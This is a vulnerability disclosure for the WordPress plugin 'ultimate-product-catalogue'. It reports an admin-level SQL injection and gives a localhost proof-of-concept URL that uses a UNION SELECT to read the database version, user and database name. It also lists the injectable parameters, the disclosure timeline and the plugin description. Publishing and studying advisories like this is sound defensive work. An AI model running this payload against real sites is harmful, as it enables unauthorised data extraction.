wp-plugin : ultimate-product-catalogue

Plugin Details
Plugin Name: wp-plugin : ultimate-product-catalogue
Effected Version : (and most probably lower version's if any)
Vulnerability : Injection
Identified by : anantshri
WPScan Reference URL

Technical Details
Minimum Level of Access Required : Administrator
PoC - (Proof of Concept) :

http://localhost/wp-admin/admin.php?page=UPCP-options&Action=Catalogue_Details&Selected=Catalogue&Catalogue_ID=2%20union%20select%20@@version,user(),system_user(),database(),5,6,7

Vulnerable Parameters : Catalogue_ID,SubCategory_ID,SingleProduct,Tag_ID

Trac ChangeLog : https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=830454%40ultimate-product-catalogue&old=821581%40ultimate-product-catalogue&sfp_email=&sfph_mail=#file2

 


Disclosure Timeline
Vendor Contacted : 2013-12-28
Plugin Status : Updated on
Public Disclosure : May 28, 2014
CVE Number :
Plugin Description :
[| Displays a product catalogue or menu for your store, restaurant, group, etc. Has three default responsive layouts and can accept custom CSS. You can use categories, sub-categories and tags to make your products easy to sort through for your visitors. You can also use categories and sub-categories in your catalogue(s) to make it easy to keep them up to date. [youtube http://www.youtube.com/watch?v=z6XL7whjY1Q] Key Features: * 3 default layout formats, users can tab between them * Fully customizable via CSS * SEO friendly single product pages * UTF8 support * Drag-and-drop to re-order your catalogues * Upload products from a spreadsheet * Change starting layout by setting the "starting_layout" attribute * Exclude one or more layouts by using the "excluded_layouts" attribute (accepts a comma-separated list) * Options page lets you customize a number of a options To get the most out of the Ultimate Product Catalogue Plugin, FancyBox for WordPress is required (http://wordpress.org/plugins/fancybox-for-wordpress/). If FancyBox for WordPress isn't installed, individual products will be displayed on their own pages. Tutorial videos available in the FAQ section. Additional Languages: - Brazilian Portugese (thanks to <a href='http://wordpress.org/support/profile/tito_cadallora'>Tito_Cadallora</a>); - Canadian French (thanks to Pascale DRP) - Lithuanian (thanks to <a href='http://wordpress.org/support/profile/adart'>AdArt</a>); ]